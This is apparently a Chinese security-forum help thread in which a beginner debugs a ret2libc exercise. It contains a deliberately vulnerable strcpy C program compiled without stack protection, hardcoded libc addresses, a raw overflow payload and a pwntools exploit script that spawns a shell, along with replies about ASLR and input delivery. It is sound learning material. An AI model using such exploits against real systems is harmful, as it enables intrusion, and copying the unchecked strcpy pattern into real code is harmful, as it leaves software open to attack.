首页
社区
课程
招聘
[求助] 新手学习ret2libc遇到一个问题
发表于: 2018-5-23 23:32 5472

[求助] 新手学习ret2libc遇到一个问题

2018-5-23 23:32
5472
跟着网上的一个师傅的博客学习ret2libc,地址为  https://blog.csdn.net/linyt/article/details/43643499
程序的源代码为

#include <stdio.h>      
#include <string.h>      
      
void evilfunction(char *input) {      
      
    char buffer[512];      
    strcpy(buffer, input);      
}      
      
int main(int argc, char **argv) {      
      
    evilfunction(argv[1]);      
      
    return 0;      
} 

编译命令: 

gcc -Wall -g -o ret2libc ret2libc.c -fno-stack-protector -m32

跟着做的过程中遇到几个问题,自己也都解决了,但是最后写exp的时候,每次都提示失败。
最后的问题总结为一句话就是:构造的payload在命令行里面直接使用可以成功,写的exp去利用就会失败,具体的内容如下:

几个关键地址如下:

system函数的地址 0xf7e03c70


exit函数的地址为  0xf7df6ed0


"/bin/bash"字符串地址为:0xffffdddb

具体的payload构造如下:

"A"*520 +"p<\xe0\xf7"."\xd0n\xdf\xf7"."\xdb\xdd\xff\xff"


直接在命令行里面执行的时候,没有问题,具体信息如下:


但是用pwntools写的exp就会有问题 ,exp如下


from pwn import *

bin_bash=0xffffdddb
func_system=0xf7e03c70
func_exit=0xf7df6ed0


payload="A"*520+p32(func_system)+p32(func_exit)+p32(bin_bash)
print payload


io= process(argv=['./ret2libc', payload])

io.interactive()

执行结果如下:


这不科学啊,直接在命令行里面去执行payload能够执行成功,说明我们的payload没有问题,为啥在exp里面会直接夭折呢,思考了好几个小时也没有搞明白,求各位师傅指导一下exp中存在的问题。

自己编译后的源文件放到附件中了,如果是编译文件的问题的话,请师傅们用前面的代码重新编译,多谢多谢



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-5-24 11:16 被skeep编辑 ,原因: 补充内容
上传的附件:
收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 1473
活跃值: (387)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
2
补充一句  测试环境是在  64位的kali虚拟机进行的
2018-5-23 23:35
0
雪    币: 44
活跃值: (56)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
3
io  =  process("./ret2libc")
io.recv()
io.sendline(payload)
2018-5-24 01:49
0
雪    币: 1473
活跃值: (387)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
4
潇洒蛋 io = process("./ret2libc") io.recv() io.sendline(payload)
试了也不行哎
2018-5-24 11:16
0
雪    币: 763
活跃值: (323)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
这个你的  /bin/bash是栈上的环境变量吧    aslr没关的话栈地址会变吧?
2018-5-24 19:52
0
雪    币: 1473
活跃值: (387)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
6
pwnda 这个你的 /bin/bash是栈上的环境变量吧 aslr没关的话栈地址会变吧?
我aslr    通过命令已经关闭了
2018-5-25 09:36
0
雪    币: 14
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
你这种把地址写死在exp中肯定有问题呢。建议在  源码中  加上  对system  函数的调用  然后  ret到  system的  plt指令片段中,自己构造  "/bin/sh"参数  以及压栈。
2018-5-25 10:03
0
雪    币: 1473
活跃值: (387)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
8
hackben 你这种把地址写死在exp中肯定有问题呢。建议在 源码中 加上 对system 函数的调用 然后 ret到 system的 plt指令片段中,自己构造 "/bin/sh"参数 以及压 ...
好的,我先把别人的这套教程看完,再翻过来看一下您说的这个方法
2018-5-25 23:57
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
9
刚写完一篇关于这个的东西。。。
2018-5-28 00:40
0
雪    币: 1473
活跃值: (387)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
10
结贴,最后使用和文章链接博主相同的Ubuntu  12.04  再去作,就没有问题了,猜测是系统的问题
2018-6-18 09:24
0
游客
登录 | 注册 方可回帖
返回
//